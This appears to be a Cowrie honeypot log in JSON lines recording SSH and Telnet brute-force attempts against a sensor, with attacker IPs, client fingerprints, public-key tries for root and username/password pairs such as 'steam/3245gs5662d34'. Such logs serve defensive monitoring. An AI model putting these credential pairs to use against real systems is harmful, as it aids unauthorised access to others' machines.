{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:21.205798Z","src_ip":"165.154.205.91","session":"f9f438f69e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:21.436250Z","src_ip":"165.154.205.91","session":"f9f438f69e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:22.377534Z","src_ip":"165.154.205.91","session":"f9f438f69e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:23.608178Z","src_ip":"165.154.205.91","session":"f9f438f69e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":33290,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7577b2c3d2e","protocol":"ssh","message":"New connection: 165.154.205.91:33290 (159.203.135.109:22) [session: d7577b2c3d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:23.832580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:23.837070Z","src_ip":"165.154.205.91","session":"d7577b2c3d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:24.063304Z","src_ip":"165.154.205.91","session":"d7577b2c3d2e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:25.000932Z","src_ip":"165.154.205.91","session":"d7577b2c3d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:25.235493Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:25.241068Z","src_ip":"165.154.205.91","session":"d7577b2c3d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.254.25.75","src_port":54510,"dst_ip":"10.17.0.5","dst_port":22,"session":"89483ebe0cf0","protocol":"ssh","message":"New connection: 155.254.25.75:54510 (10.17.0.5:22) [session: 89483ebe0cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.247052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.251304Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.281592Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:db:e4:20:16:c4:6d:e8:d4:7d:78:3d:87:df:9b:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ewmrxCbBlWWbk58o9WUyIJaus0IXz4hRAa+vrMJyQZeMKRHSo1zE5Xv5XMjqd3DGORsHh2bYo6K0e6M0D15N5XvxzXQoRIGMO48I47N2kf+1Cp9RmjtdvqevpM2nAfOgqXaWcE09FvFbi+aOQsmRMN4JoPkJ8nhf5U76sdesBhS7OhdLEyYefMwxuPZ6f+C7EmUcr1B/pGcB4g0uv7v4Nkd93ErumRBd8vPhYfhrzB2bm/ToGcQ+DTf7pK/nyI5TD/3tbguCOThkv0NxUzjce2urkCkOTd9zhy90lYapXpZJI7qoir7E+KKZ/N4Pt6PrIE1nIk0KWutDlg4MnFkl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:db:e4:20:16:c4:6d:e8:d4:7d:78:3d:87:df:9b:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.394680Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:db:e4:20:16:c4:6d:e8:d4:7d:78:3d:87:df:9b:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ewmrxCbBlWWbk58o9WUyIJaus0IXz4hRAa+vrMJyQZeMKRHSo1zE5Xv5XMjqd3DGORsHh2bYo6K0e6M0D15N5XvxzXQoRIGMO48I47N2kf+1Cp9RmjtdvqevpM2nAfOgqXaWcE09FvFbi+aOQsmRMN4JoPkJ8nhf5U76sdesBhS7OhdLEyYefMwxuPZ6f+C7EmUcr1B/pGcB4g0uv7v4Nkd93ErumRBd8vPhYfhrzB2bm/ToGcQ+DTf7pK/nyI5TD/3tbguCOThkv0NxUzjce2urkCkOTd9zhy90lYapXpZJI7qoir7E+KKZ/N4Pt6PrIE1nIk0KWutDlg4MnFkl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.398741Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:9a:42:a1:e5:76:9a:d7:e9:fc:bf:d0:f7:a2:71:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/mqcCAJ5xhLGJg1G5/FQzwe04gciLi6ZKmtNWQrdLmgKsfrxOLQrPqpjf6UrJYUAvYE3HH3VNIv6/gyqBE23sBZoBDyY4Sr8/trtWYAr0t8l4Q4S4cPkc8UbfJl7qmQ9bq2LHS7YqRI6c++cGSliITtp8JPL2q/8zzzU4R837WqF4HBZHS/w0xk+gVKfH3vQEkHsJBbeum6xICfyHy1FfN/DNbejQ9m+b/ej5ssfrKAGxTePg5FSsxl358Bqje9qi6JyIBUH7kUfpKU58W9GOZOpd4gr9wTKXqqHaSIdUMVpqI5YxcZJHH9GEt7FMEpewDHD3NWryD8zpOwpU7bJh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:9a:42:a1:e5:76:9a:d7:e9:fc:bf:d0:f7:a2:71:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.427025Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:9a:42:a1:e5:76:9a:d7:e9:fc:bf:d0:f7:a2:71:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/mqcCAJ5xhLGJg1G5/FQzwe04gciLi6ZKmtNWQrdLmgKsfrxOLQrPqpjf6UrJYUAvYE3HH3VNIv6/gyqBE23sBZoBDyY4Sr8/trtWYAr0t8l4Q4S4cPkc8UbfJl7qmQ9bq2LHS7YqRI6c++cGSliITtp8JPL2q/8zzzU4R837WqF4HBZHS/w0xk+gVKfH3vQEkHsJBbeum6xICfyHy1FfN/DNbejQ9m+b/ej5ssfrKAGxTePg5FSsxl358Bqje9qi6JyIBUH7kUfpKU58W9GOZOpd4gr9wTKXqqHaSIdUMVpqI5YxcZJHH9GEt7FMEpewDHD3NWryD8zpOwpU7bJh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.431116Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:e9:9b:5b:04:81:cc:ce:5e:df:97:b4:e4:d7:fb:8f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJanOW5bjev/E4rJ7kckKvzclGPy1yNUL8SZvnsjAu5h","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 88:e9:9b:5b:04:81:cc:ce:5e:df:97:b4:e4:d7:fb:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.459646Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:e9:9b:5b:04:81:cc:ce:5e:df:97:b4:e4:d7:fb:8f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJanOW5bjev/E4rJ7kckKvzclGPy1yNUL8SZvnsjAu5h","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.464123Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:ff:88:2e:52:ee:c6:8c:4d:d6:0a:7f:20:a5:83:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxY7BNI0DIEan+3vMoYnPlx0k5++Thb8COzc7VDcPBhW0cyo9fAGMsZ9LpWivqLQ/NLIeLkx2WuBunHwEnxqsG6Hs7KleUPbwjYAr/iN5wVijllN3HMzrHhnJ97p9Nk7eIylttza7N9KIS+nEHccsXyXabwC9eIwZex0rD4/D6PU9SqJ+DzXxzKnZEUIsR/aSzFHfw+8sCFJ3zDUxJgOK03FA6ywbhXxQl5TNXMpA0BxYzPCOvQaAZf3LoRadAWemJ7JdNWmF+lmhw5nhsayEKOyGw5pDBmxEb/FVugcWeq9LzndXdUU/3EdTwQCBHkG2BBo7/lCZG6ln7+lXCCc0fw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:ff:88:2e:52:ee:c6:8c:4d:d6:0a:7f:20:a5:83:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.492908Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:ff:88:2e:52:ee:c6:8c:4d:d6:0a:7f:20:a5:83:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxY7BNI0DIEan+3vMoYnPlx0k5++Thb8COzc7VDcPBhW0cyo9fAGMsZ9LpWivqLQ/NLIeLkx2WuBunHwEnxqsG6Hs7KleUPbwjYAr/iN5wVijllN3HMzrHhnJ97p9Nk7eIylttza7N9KIS+nEHccsXyXabwC9eIwZex0rD4/D6PU9SqJ+DzXxzKnZEUIsR/aSzFHfw+8sCFJ3zDUxJgOK03FA6ywbhXxQl5TNXMpA0BxYzPCOvQaAZf3LoRadAWemJ7JdNWmF+lmhw5nhsayEKOyGw5pDBmxEb/FVugcWeq9LzndXdUU/3EdTwQCBHkG2BBo7/lCZG6ln7+lXCCc0fw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.498005Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:5d:84:d8:ed:50:1b:a4:a8:2f:2e:a9:9f:fe:22:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7wOFY3qQ/Ja2gELshP7JUVb6fy3a4EVxfVNMyBIm15Cb1BKT4UthJszlHtCnZe3W7vSAX49sQpXPGYrJhPG+QEdnwKe1EW+nWPWmOGYgnTNY3FglWm7A4040HZkBixFyk7yNTdNYv7TnfHq5UcOqSv198HXF679OZyHjbOBFGvDBdClJpF7A74K6IL2Xzpa/9eWJdGTts7UgTZGA+69MJx8NCopfNp6PtF5QNKwOMlpP2tMEI+y7zrphHGoSgJ3Du5GmR0NoX/khExSJRKMOV/N8Fb6UzN3Ca3Pj5Qi8DnToQTLsPX4lYIlBwlzQSRWJZ85rIPUtMTUnJdBguX9s6hci7SNF+ZMWZvmXTrLxiKzDG3+AjdRGgNIDCAsmB9sRFGrsWzJW8Y7ivOI6hdqTHV0pdX0XqD+PUZWBo1aqJJmd6Sj/w/mvlXdUsfbvlY/19lWclvjwLXbwRRjCk1MLtSUq9TvXYGhtLaZ+5ocK5JoIOgyJ+dQizqB5CqB9WPZT3qbHxZf9bj7CqLouPZ4I2FR43lMCSMd6+mfjVkhlFoz4cyu8lhe5c3ke0ZikBozZmLooS7tDrX0pTWR5JzMGi5il8Z/ScssiCZjXfX85yBk8wf2jr8CRrOeHR0smIV0+FOOdV8LTyNCL2AqQIxlfhyLIpN+C3mwmbuhvO9HLN6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:5d:84:d8:ed:50:1b:a4:a8:2f:2e:a9:9f:fe:22:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.526919Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:5d:84:d8:ed:50:1b:a4:a8:2f:2e:a9:9f:fe:22:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7wOFY3qQ/Ja2gELshP7JUVb6fy3a4EVxfVNMyBIm15Cb1BKT4UthJszlHtCnZe3W7vSAX49sQpXPGYrJhPG+QEdnwKe1EW+nWPWmOGYgnTNY3FglWm7A4040HZkBixFyk7yNTdNYv7TnfHq5UcOqSv198HXF679OZyHjbOBFGvDBdClJpF7A74K6IL2Xzpa/9eWJdGTts7UgTZGA+69MJx8NCopfNp6PtF5QNKwOMlpP2tMEI+y7zrphHGoSgJ3Du5GmR0NoX/khExSJRKMOV/N8Fb6UzN3Ca3Pj5Qi8DnToQTLsPX4lYIlBwlzQSRWJZ85rIPUtMTUnJdBguX9s6hci7SNF+ZMWZvmXTrLxiKzDG3+AjdRGgNIDCAsmB9sRFGrsWzJW8Y7ivOI6hdqTHV0pdX0XqD+PUZWBo1aqJJmd6Sj/w/mvlXdUsfbvlY/19lWclvjwLXbwRRjCk1MLtSUq9TvXYGhtLaZ+5ocK5JoIOgyJ+dQizqB5CqB9WPZT3qbHxZf9bj7CqLouPZ4I2FR43lMCSMd6+mfjVkhlFoz4cyu8lhe5c3ke0ZikBozZmLooS7tDrX0pTWR5JzMGi5il8Z/ScssiCZjXfX85yBk8wf2jr8CRrOeHR0smIV0+FOOdV8LTyNCL2AqQIxlfhyLIpN+C3mwmbuhvO9HLN6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.531236Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:40.559742Z","src_ip":"155.254.25.75","session":"89483ebe0cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.653117418289185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:43.544588Z","src_ip":"135.148.33.91","session":"0adbf3dd8601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a4800434d7","protocol":"telnet","message":"New connection: 166.62.124.255:38364 (10.17.0.5:23) [session: 84a4800434d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:54.415760Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":38488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d7a47d27d0","protocol":"telnet","message":"New connection: 166.62.124.255:38488 (10.17.0.5:23) [session: c9d7a47d27d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:54.713248Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":48162,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac78e92c52c4","protocol":"ssh","message":"New connection: 165.154.205.91:48162 (159.203.135.109:22) [session: ac78e92c52c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:17.797001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:17.801811Z","src_ip":"165.154.205.91","session":"ac78e92c52c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:18.029085Z","src_ip":"165.154.205.91","session":"ac78e92c52c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git2019","message":"login attempt [git/git2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:18.966961Z","src_ip":"165.154.205.91","session":"ac78e92c52c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:20.196578Z","src_ip":"165.154.205.91","session":"ac78e92c52c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.414644718170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:25.127751Z","src_ip":"166.62.124.255","session":"c9d7a47d27d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716379642486572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:25.132016Z","src_ip":"166.62.124.255","session":"84a4800434d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":53998,"dst_ip":"10.17.0.5","dst_port":23,"session":"f625902063f6","protocol":"telnet","message":"New connection: 166.62.124.255:53998 (10.17.0.5:23) [session: f625902063f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:52:51.324938Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":36598,"dst_ip":"159.203.135.109","dst_port":22,"session":"49313dc0e833","protocol":"ssh","message":"New connection: 165.154.205.91:36598 (159.203.135.109:22) [session: 49313dc0e833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:17.032923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:53:17.037553Z","src_ip":"165.154.205.91","session":"49313dc0e833","protocol":"ssh"}
